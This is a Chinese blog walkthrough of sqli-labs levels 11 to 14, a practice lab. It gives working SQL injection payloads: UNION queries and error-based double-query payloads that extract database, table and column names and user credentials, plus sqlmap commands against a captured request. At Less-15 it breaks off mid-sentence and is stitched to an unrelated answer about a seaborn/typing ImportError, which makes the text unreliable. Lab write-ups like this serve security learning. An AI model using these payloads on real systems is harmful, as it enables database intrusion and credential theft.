sqli-labs 11-20

本文详细介绍了sqli-labs的11到20关的SQL注入攻击,包括手工注入和使用sqlmap的方法。涉及单引号闭合、双查询注入、布尔型盲注等多种注入技巧,解析了如何通过注入获取数据库名、表名、列名及内容。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

Less-11

手工注入

1.开始为post类型的注入,先加个单引号,报错如下。

构造出SQL语句应该为:select username,password from users where username=' ' ' and password=' 2' limit 0,1; 也即是password字段被单引号包含了' and password=',导致 出现2' limit 0,1;引号不匹配的情况。下图看起来更直观些。

2.所以,可构造如下语句:' ##把后面的都注释掉,然后在其前面加上自己构造的语句。
3.先用group by 看看有多少列:' group by 1,经过测试,共2个字段。

4.下面,开始使用联合查询:-1' union select 1,2 #返回正常,开始构造语句。

5.查数据库名:' union select 1,database() #

6.接下来查表名,构造和Less-1类似:' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security' #

7.查列名' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #

8.查内容:' union select group_concat(username),group_concat(password) from security.users #

OK,已经得到想要的。

用sqlmap注入

1.首先,使用BurpSuite抓包,然后保存抓取到的内容。例如:保存为use.txt,把它放至某个目录下,这里为:F:/temp/use.txt

2.首先,判断是否存在SQL注入漏洞,python2 sqlmap.py -r F:/temp/use.txt - --batch 得到两个注入点,如图:

3.查询当前数据库python2 sqlmap.py -r F:/temp/use.txt - --batch --current-db

4.查询表::python2 sqlmap.py -r F:/temp/use.txt - --batch -D security --tables

5.剩下的查询和Less-1的用法一样,列-内容,一个一个爆即可。


Less-12

1.加单引号,正常,加双引号,报错:

由图可知,为双引号加括号闭合。
2.构造:") #返回正常,所以用Less-11构造的方法构造语句即可。即") 构造的语句 # 不在赘述。


Less-13

1.加单引号,报错,知道为单引号加括号闭合。

2.以为就这样了,结果采用上面的构造方法无用,看来没那么简单,应该使用双查询注入了,和Less-5的构造基本相同。
3.查数据库,构造如下。') or (select 1 from (select count(*),concat((select concat(schema_name,';') from information_schema.schemata limit 0,1),floor(rand()*2)) as x from information_schema.tables group by x) as a)#

继续爆其他数据库名,改变limit n,1即可。
4.查表:') or (select 1 from (select count(*),concat((select concat(table_name,';') from information_schema.tables where table_schema='security' limit 0,1),floor(rand()*2)) as x from information_schema.tables group by x) as a)#

同样,改变limit n,1即可。
5.查列名:') or (select 1 from (select count(*),concat((select concat(column_name,';') from information_schema.columns where table_name='users' limit 0,1),floor(rand()*2)) as x from information_schema.columns group by x) as a) #

同样,改变limit n,1即可。
6.查内容:') or (select 1 from (select count(*),concat((select concat(username,': ',password,';') from security.users limit 0,1),floor(rand()*2)) as x from security.users group by x) as a)#

同样,改变limit n,1即可。


Less-14

1.加单引号,正常,加双引号,报错,可知为双引号闭合。

2.应该不会直接是联合查询了,一试,果然还是双查询注入。
3.构造:" 构造语句 # 构造语句和less-13一样。


Less-15

1.加单

出现这个错误的原因是在导入seaborn包时,无法从typing模块中导入名为'Protocol'的对象。 解决这个问题的方法有以下几种: 1. 检查你的Python版本是否符合seaborn包的要求,如果不符合,尝试更新Python版本。 2. 检查你的环境中是否安装了typing_extensions包,如果没有安装,可以使用以下命令安装:pip install typing_extensions。 3. 如果你使用的是Python 3.8版本以下的版本,你可以尝试使用typing_extensions包来代替typing模块来解决该问题。 4. 检查你的代码是否正确导入了seaborn包,并且没有其他导入错误。 5. 如果以上方法都无法解决问题,可以尝试在你的代码中使用其他的可替代包或者更新seaborn包的版本来解决该问题。 总结: 出现ImportError: cannot import name 'Protocol' from 'typing'错误的原因可能是由于Python版本不兼容、缺少typing_extensions包或者导入错误等原因造成的。可以根据具体情况尝试上述方法来解决该问题。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *2* *3* [ImportError: cannot import name ‘Literal‘ from ‘typing‘ (D:\Anaconda\envs\tensorflow\lib\typing....](https://blog.youkuaiyun.com/yuhaix/article/details/124528628)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 100%"] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

烜奕

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值